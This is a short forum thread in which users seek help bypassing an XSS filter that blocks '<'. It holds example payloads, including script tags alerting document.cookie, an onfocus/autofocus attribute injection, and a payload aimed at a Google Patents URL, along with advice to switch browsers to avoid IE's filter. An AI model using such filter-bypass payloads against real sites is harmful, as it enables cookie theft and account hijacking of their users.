Hello everyone, i am trying to bypass a xss filter, but "<" is not allowed.
Charset= utf-8

Can someone help me?

That's little info you got.

The same problem.

Example:

a.php?a="><script>alert(document.cookie)</script>

<input type="hidden" name="a" value="">alert(document.cookie)" />

a.php?a=">script>alert(document.cookie)/script>

<input type="hidden" name="a" value="">script>alert(document.cookie)/script>" />

a.php?a=" onfocus="prompt(1)" autofocus b="

hello,someone can tell me what's wrong here ?

http://www.google.com/patents?q=lol&lr=&sa=N&start="><script>alert(0)</script>

I have disabled the xss filter but my browser still show the message "internet explorer has modified this page to prevent cross site scripting"

tested on IE8

see: http://i.imgur.com/GNvX9.jpg

thank you

use Mozilla instead of IE

www.breakthesecurity.com
www.ehackingnews.com